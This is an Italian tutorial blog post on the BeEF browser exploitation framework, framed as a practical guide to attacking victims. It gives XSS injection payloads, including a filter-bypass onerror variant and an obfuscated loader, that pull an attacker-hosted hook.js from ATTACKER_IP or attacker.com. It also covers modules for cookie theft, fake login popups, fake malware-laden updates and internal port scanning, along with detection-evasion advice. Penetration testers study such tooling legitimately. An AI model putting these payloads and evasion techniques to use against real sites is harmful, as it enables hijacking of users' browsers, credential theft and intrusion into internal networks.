BeEF: Guida Completa al Browser Exploitation Framework

Guida pratica BeEF per browser exploitation: hook vittime, controllo browser compromessi e post-exploitation client-side. Trasforma XSS in accesso persistente.
- Pubblicato il 2026-02-05
- Tempo di lettura: 4 min
BeEF: Guida Completa al Browser Exploitation Framework #
BeEF (Browser Exploitation Framework) trasforma una semplice vulnerabilità XSS in un punto di accesso persistente al browser della vittima. Una volta “hookato”, il browser diventa un terminale controllato da remoto per eseguire attacchi, rubare dati e pivotare nella rete interna. In questa guida impari a configurare BeEF, hookare browser e sfruttare i moduli di attacco.
Come Funziona BeEF #
L’attacco BeEF si basa su un concetto semplice: iniettare uno script JavaScript (hook.js) nel browser della vittima. Questo script stabilisce una connessione persistente con il server BeEF, permettendo all’attaccante di controllare il browser da remoto.
Il vettore di injection più comune è XSS, ma funziona con qualsiasi metodo che permetta di eseguire JavaScript arbitrario: phishing, man-in-the-middle, compromissione di siti web.
Una volta hookato, il browser appare nel pannello di controllo BeEF dove puoi eseguire centinaia di moduli: dal semplice furto di cookie a scansioni della rete interna usando il browser come proxy.
Installazione e Setup #
Su Kali Linux:
sudo apt update && sudo apt install beef-xss -y
sudo beef-xssDa GitHub per la versione più recente:
git clone https://github.com/beefproject/beef.git /opt/beef
cd /opt/beef
./install
./beefAl primo avvio BeEF mostra le informazioni cruciali:
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://127.0.0.1:3000/hook.js"></script>
[*] Username: beef
[*] Password: beefConfigurazione per Attacchi Reali #
Per attacchi esterni modifica /opt/beef/config.yaml:
beef:
credentials:
user: "admin"
passwd: "YourStrongPassword"
http:
host: "0.0.0.0"
port: "3000"
public: "YOUR_PUBLIC_IP"Il parametro public è fondamentale: è l’IP che la vittima userà per connettersi, quindi deve essere raggiungibile.
Hookare un Browser #
L’hook è un semplice tag script da iniettare nella pagina:
<script src="http://ATTACKER_IP:3000/hook.js"></script>Via XSS Reflected #
Se trovi un XSS reflected:
http://vulnerable.com/search?q=<script src="http://ATTACKER_IP:3000/hook.js"></script>Via XSS Stored #
Nei commenti, profili, o qualsiasi campo che salva input:
<script src="http://ATTACKER_IP:3000/hook.js"></script>Alternative per Bypass Filtri #
Quando i tag <script> sono filtrati:
<img src=x onerror="var s=document.createElement('script');s.src='http://ATTACKER_IP:3000/hook.js';document.body.appendChild(s);">Pannello di Controllo #
Accedi al pannello su http://127.0.0.1:3000/ui/panel con le credenziali configurate.
L’interfaccia mostra:
- Hooked Browsers - Lista browser compromessi, online e offline
- Commands - Moduli di attacco disponibili
- Logs - Attività e dati raccolti
Quando una vittima visita la pagina con l’hook, il browser appare nella lista con dettagli come: IP, sistema operativo, browser, plugin installati.
Moduli di Attacco #
BeEF include centinaia di moduli organizzati per categoria. I colori indicano l’affidabilità: verde (funziona sulla maggior parte dei browser), arancione (alcuni browser), rosso (specifico/instabile).
Raccolta Informazioni #
Get Cookie - Estrae tutti i cookie accessibili via JavaScript (non HttpOnly).
Get Page HTML - Cattura il contenuto della pagina corrente.
Get Stored Credentials - Tenta di estrarre credenziali salvate nel browser.
Webcam - Richiede accesso alla webcam (richiede permesso utente).
Social Engineering #
Pretty Theft - Mostra un popup convincente che richiede credenziali, mascherato come Facebook, LinkedIn, o servizio custom.
Fake Flash Update - Classico attacco che propone un aggiornamento Flash falso contenente malware.
Clippy - Mostra l’assistente Microsoft con messaggi custom.
Network Discovery #
Get Internal IP - Rivela l’IP interno della vittima, utile per mappare la rete.
Port Scanner - Scansiona porte su host della rete interna usando il browser come proxy. Bypassa firewall perimetrali.
Ping Sweep - Identifica host attivi sulla rete interna.
Persistenza #
Man-In-The-Browser - Intercetta form e invia dati all’attaccante.
Confirm Close Tab - Impedisce alla vittima di chiudere il tab, mostrando messaggi di conferma ripetuti.
Scenario Pratico: Da XSS a Network Mapping #
Un workflow realistico di attacco:
- Trova XSS su un’applicazione target usando XSSer o testing manuale
- Inietta Hook sostituendo il payload alert() con lo script BeEF
- Attendi Hook monitorando il pannello BeEF
- Raccogli Info - Esegui moduli per cookie, IP interno, browser details
- Scan Rete Interna - Usa il port scanner per identificare server interni (192.168.x.x, 10.x.x.x)
- Identificazione Target - Scopri servizi interessanti: SMB (445), RDP (3389), SSH (22)
- Pivot o Report - Usa le informazioni per attacchi successivi o documenta per il report
Integrazione con Metasploit #
BeEF può integrarsi con Metasploit per attacchi browser-based più potenti.
Configura in config.yaml:
extension:
metasploit:
enable: true
host: "127.0.0.1"
port: 55552
user: "msf"
pass: "abc123"Avvia Metasploit con MSGRPC:
msf6 > load msgrpc Pass=abc123Ora hai accesso ai moduli Metasploit browser_autopwn direttamente da BeEF.
Evasion e Stealth #
Offuscare l’Hook #
L’URL hook.js è riconoscibile. Offuscalo:
<script>
var a='htt'+'p://';
var b='attacker'+'.com:3000';
var c='/ho'+'ok.js';
var s=document.createElement('script');
s.src=a+b+c;
document.body.appendChild(s);
</script>Rendere Persistente #
Il problema principale: quando l’utente naviga via dalla pagina, il hook si perde. Tecniche di persistenza:
- iFrame nascosto - Mantiene il hook attivo in background
- Nuove tab - Apri la pagina hookate in nuovi tab
- Confirm Close - Rendi difficile chiudere la pagina
Limiti e Considerazioni #
BeEF è potente ma ha limitazioni:
Same-Origin Policy - JavaScript non può accedere a risorse di altri domini. Il furto di cookie funziona solo per il dominio vulnerabile.
HttpOnly Cookies - Cookie con flag HttpOnly non sono accessibili via JavaScript.
CSP - Content Security Policy può bloccare l’esecuzione di script esterni.
Browser Moderni - Molte tecniche funzionano meglio su browser datati. Le versioni recenti hanno protezioni aggiuntive.
Connessione Intermittente - Se la vittima ha connessione instabile, il hook può disconnettersi frequentemente.
FAQ #
Il hook funziona dopo che l’utente chiude il browser?
No, il hook vive nel contesto della pagina web. Chiudere il browser o il tab termina la sessione.
Posso hookare browser mobile?
Sì, BeEF supporta browser mobile con moduli specifici per geolocation e sensori.
Come evito detection?
Offusca l’hook, usa domini che sembrano legittimi, minimizza attività rumorosa. Per phishing professionale considera anche Evilginx2.
BeEF può bypassare 2FA?
Non direttamente, ma può catturare session cookie post-login o eseguire azioni nel contesto della sessione autenticata.
È legale usare BeEF?
Solo su sistemi autorizzati. Per penetration test professionali, hackita.it/servizi.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.
Risorse: BeEF GitHub | BeEF Wiki





